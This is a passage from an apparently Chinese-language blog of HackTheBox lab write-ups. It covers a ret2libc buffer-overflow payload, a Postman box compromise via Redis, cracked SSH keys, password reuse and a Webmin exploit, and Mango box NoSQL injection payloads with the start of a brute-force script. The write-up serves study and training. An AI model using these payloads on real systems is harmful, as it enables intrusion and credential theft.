exit@@GLIBC_2.0&lt;/p&gt;&#10;&lt;p&gt;www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;ldquo;/bin/sh&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;ldquo;/bin/sh&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;15ba0b /bin/sh&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;找到了偏移量 直接计算器相加就行&lt;/p&gt;&#10;&lt;p&gt;0xB7E53DA0&lt;/p&gt;&#10;&lt;p&gt;0xB7E479D0&lt;/p&gt;&#10;&lt;p&gt;0xB7F74A0B&lt;/p&gt;&#10;&lt;p&gt;86架构是小端序 所以我们还要字节倒序&lt;/p&gt;&#10;&lt;p&gt;\xa0\x3d\xe5\xb7&lt;/p&gt;&#10;&lt;p&gt;\xd0\x79\xe4\xb7&lt;/p&gt;&#10;&lt;p&gt;\x0b\x4a\xf7\xb7&lt;/p&gt;&#10;&lt;p&gt;写成16进制能识别的样子 拼接payload&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;./rop $(echo -e &amp;ldquo;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\xa0\x3d\xe5\xb7\xd0\x79\xe4\xb7\x0b\x4a\xf7\xb7&amp;rdquo;)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0389.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;执行就结束了 因为这一个靶场 学会一些简单的缓冲区溢出 还是挺有作用的 不过要深入的话还是有点困难 后续还会找一些缓冲区溢出的靶场 可以学习下&lt;/p&gt;&#10;&lt;h2 id="18postman"&gt;&lt;a href="#18postman" class="header-anchor"&gt;&lt;/a&gt;18.Postman&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0390.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0391.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是说结果&lt;/p&gt;&#10;&lt;p&gt;22访问没提示信息&lt;/p&gt;&#10;&lt;p&gt;80获取到域名 postman.htb 然后没东西了 开始目录爆破&lt;/p&gt;&#10;&lt;p&gt;6379 我着重关注redis 有未授权访问 4.0.9版本 写shell不行没权限 写定时任务不行没权限 写公钥不行没权限&lt;/p&gt;&#10;&lt;p&gt;也就是写文件 很多目录都没权限 公钥我可以试试写在家目录 但是我并不知道有哪些用户 这个可以待定&lt;/p&gt;&#10;&lt;p&gt;还有个主从复制 也无法利用&lt;/p&gt;&#10;&lt;p&gt;10000 MiniServ 1.910 (Webmin httpd) 这个版本kali search没找到 但是google上有 而且版本完全匹配&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0392.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;前提是要有密码&lt;/p&gt;&#10;&lt;p&gt;目前得出的结论是 22没漏洞 6379可以写文件 但是无法写getshell的东西 其他文件写没问题&lt;/p&gt;&#10;&lt;p&gt;80和10000重点关注 udp的10000我去搜了 是一个&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;NDMP(网络数据管理协议)是一个专门为NAS设备的数据备份系统设计的协议&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;但是ndmp的都是tcp的10000协议 而不是udp的 这个可以留意&lt;/p&gt;&#10;&lt;p&gt;目前先爆破80以及10000 最重点的是找10000的密码打exp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0393.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;发现一个有意思的东西 不带http访问的时候报错 而访问https的时候会卡一下 我刚开始以为是重定向卡的 现在看貌似是因为backup这个文件卡的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0394.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个地方会随着域名的请求改变而改变 在我看来这里肯定有个利用点 但是我并没有太多思路&lt;/p&gt;&#10;&lt;p&gt;udp的10000是可以连的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0395.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我尝试去找关于这个服务的连接软件进行连接&lt;/p&gt;&#10;&lt;p&gt;但是我搜了很久没有搜到 好像这个是netapp的转身程序 我完全获取不到 nc连接也没有任何东西供我使用&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0396.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;原来刚刚是误报 实则这个还是webmin&lt;/p&gt;&#10;&lt;p&gt;没有办法 目前最明显的就是10000的框架了 再去搜搜poc 依然没效果&lt;/p&gt;&#10;&lt;p&gt;重复看回去吧 6379我感觉还是有点像误区 但是为了严谨还是搜了一下版本漏洞 发现了一个新的版本一样的漏洞&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa" target="_blank" rel="noopener"&#10; &gt;https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;他这个脚本跑不了 有点麻烦 不过读代码还是挺简单的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0397.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0398.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;其实就这样就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0399.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;连上去了&lt;/p&gt;&#10;&lt;p&gt;开始提权信息收集 重点还是挺好找的因为有LinEnum.sh&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0400.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0401.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;上面一看就有加密 直接丢john跑就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0402.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0403.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;连接直接被关闭&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0404.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我想到了在靶机上连本地都不行&lt;/p&gt;&#10;&lt;p&gt;非常奇怪 我只能看一下ssh的配置文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0405.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;不让登录&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0406.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;实际上他的密钥密码就是他的账户密码 成功切换&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0407.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始接着提权 发现了几个有意思的文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0408.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个竟然是以root的权限启动的 也就是说我们没有他的密码没进去 但是如果找到它的密码就能打exp 获取的权限就是root权限 现在大概率只差密码了 因为我翻了很多文件尝试了很多 基本没有提权点了&lt;/p&gt;&#10;&lt;p&gt;那个目录大部分我们无法读 写个find看一下吧&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0409.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;读完啥都没有 只能google看看这个密码文件放哪了&lt;/p&gt;&#10;&lt;p&gt;/etc/webmin/miniserv.users&lt;/p&gt;&#10;&lt;p&gt;但是这个访问不到&lt;/p&gt;&#10;&lt;p&gt;/root/webmin-1.470/changepass.pl /etc/webmin/ Demo 123456&lt;/p&gt;&#10;&lt;p&gt;这个命令可以改 但也提示我没权限&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0410.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;搜的时候发现了个这个 我们目前有Matt的密码 登陆一下看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0411.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还真上去了 遇到登陆成功的账号密码 去其他服务上撞库&lt;/p&gt;&#10;&lt;p&gt;第一时间没发现导致我浪费了很多时间&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/roughiz/Webmin-1.910-Exploit-Script" target="_blank" rel="noopener"&#10; &gt;https://github.com/roughiz/Webmin-1.910-Exploit-Script&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;代码要改一下 我没有termcolor这个包 而且这个包也无关紧要&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0412.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0413.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束 这里盲目自信了redis 一开始没跟着固定版本4.0.9去打exp 其次是很多都看到了 但是最关键的撞库没去做&lt;/p&gt;&#10;&lt;p&gt;其他都还好&lt;/p&gt;&#10;&lt;h2 id="19mango"&gt;&lt;a href="#19mango" class="header-anchor"&gt;&lt;/a&gt;19.Mango&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0414.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0415.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0416.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;只有一个页面22端口没东西 80端口403 443https是这个 没有找到藏着的东西&lt;/p&gt;&#10;&lt;p&gt;这个页面没搜到任何结果 不知道那个接口是咋回事&lt;/p&gt;&#10;&lt;p&gt;nmap没有给我这个框架的信息 whatweb的指纹也没有&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0417.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是他的标题 mango search base 可以看看这个是不是框架&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0418.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;版本都不一样 找几个试试吧&lt;/p&gt;&#10;&lt;p&gt;开始试的时候发现目录爆破给了我个结果&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0419.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;39w个字节 这个在主页是存在的 但当时我看里面没东西就没管 这是做的有问题的地方&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0420.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;算是一个失误了 但凡目录爆破字典没这个 就会浪费很多时间 再看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0421.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;很多js调用失败了 他们都是远程调用的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0422.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里面有很多data但是无法调用 所以显示空 分析js我喜欢在chrome上 firefox太难用了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0423.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;访问之后发现 这里的js竟然没问题？ 明明都是同一个请求&lt;/p&gt;&#10;&lt;p&gt;开始看看当前页面有没有什么接口 看了半天 这玩意就是纯js实现的 或者我没找到接口&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0424.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是index.php发现一个东西 只要在index.php后面加参数 返回都是这样 没啥用&lt;/p&gt;&#10;&lt;p&gt;但是实际上 他的ssl证书还有东西&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0425.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0426.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;果然 外层没东西 但是这个有 开始爆破&lt;/p&gt;&#10;&lt;p&gt;后来试了半天 没有任何东西 只能看wp看下一步 它提示说 mongo 实际上代表它后端的数据库用的MongoDB 而我们要利用nosql注入 遇到明显的图片域名等等提示记得google找对应的漏洞看看有没有&lt;/p&gt;&#10;&lt;p&gt;其实我搜的时候搜 mongo 一直出的是mongodb我以为没有联系 结果还有个nosql 算是学到了&lt;/p&gt;&#10;&lt;p&gt;知道入口点就开始测试&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0427.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0428.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以进去但是他这显示不能访问 看看能不能写shell 貌似不能写文件&lt;/p&gt;&#10;&lt;p&gt;目前登录也不行 只有一个思路了 既然存在注入 我们就需要获取他的密码 然后撞库 跟上一个靶场很像&lt;/p&gt;&#10;&lt;p&gt;但是oscp几乎不允许使用自动化渗透脚本 一键的nosql注入工具貌似不被允许 这里只能从0学习nosql语法&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;花了1个多小时简单速成了一下 目标点在这里&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;依靠这个函数 [$regex] 这函数可以与substr差不多相同的功能&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0429.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;用法在这 看起来一目了然 我们只需要找一个字符表&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0430.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;字符表在这 string.printable 将里面的那个字符表里面的字符去掉就行 然后挨个遍历 登陆成功回包302&lt;/p&gt;&#10;&lt;p&gt;基本上全靠这篇文章 但是这个还是有缺点 就是用户名我们是找不到的 默认admin 但我不认为他只有这一个用户&lt;/p&gt;&#10;&lt;p&gt;我们先爆出admin的密码再说吧&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0431.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;admin的密码是有12为 payload&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;username=admin&amp;amp;password[$regex]=.{§1§}&amp;amp;login=login&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;后续接着学习mongodb语句 nosql注入语句 发现了一个关键点&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;username[$regex]=^a.*&amp;amp;password[$ne]=1&amp;amp;login=login&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;上面是payload 在那个网址里面介绍了爆破password的语句 实际上username也是一样的&lt;/p&gt;&#10;&lt;p&gt;自行拼接语句 username[$regex]=^a.* 就是正则表达式 匹配开头为a的用户名在的话就会有返回 相当于以前遇到的 a* 那种遍历漏洞 a* ad* adm* admi* 这种类似&lt;/p&gt;&#10;&lt;p&gt;靠这个就能爆破出用户名 但是还有个前提 就是用户名是对的 但是对应账户的密码我们是没有的 所以加上之前的万能密码 password[$ne]=1 就能构造poc&lt;/p&gt;&#10;&lt;p&gt;poc逻辑：先爆破用户名，遍历一次所有字符，比如a存在的话，就单独压入字典，然后爆破后面的字符，出现不一样的压入一次，第二次遍历(例如a)+所有字符，如果出现不一样的接着压入，如果第n次遍历所有字符没有任何返回值，就代表用户名已全部爆出完毕，而302就是判断登陆成功的标准。&lt;/p&gt;&#10;&lt;p&gt;爆破密码处可以复用上述代码，逻辑上没区别。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;span class="lnt"&gt;105&#10;&lt;/span&gt;&lt;span class="lnt"&gt;106&#10;&lt;/span&gt;&lt;span class="lnt"&gt;107&#10;&lt;/span&gt;&lt;span class="lnt"&gt;108&#10;&lt;/span&gt;&lt;span class="lnt"&gt;109&#10;&lt;/span&gt;&lt;span class="lnt"&gt;110&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import string&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = &amp;#34;http://staging-order.mango.htb/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;staging-order.mango.htb&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Length&amp;#39;: &amp;#39;49&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Origin&amp;#39;: &amp;#39;http://staging-order.mango.htb&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Type&amp;#39;: &amp;#39;application/x-www-form-urlencoded&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span 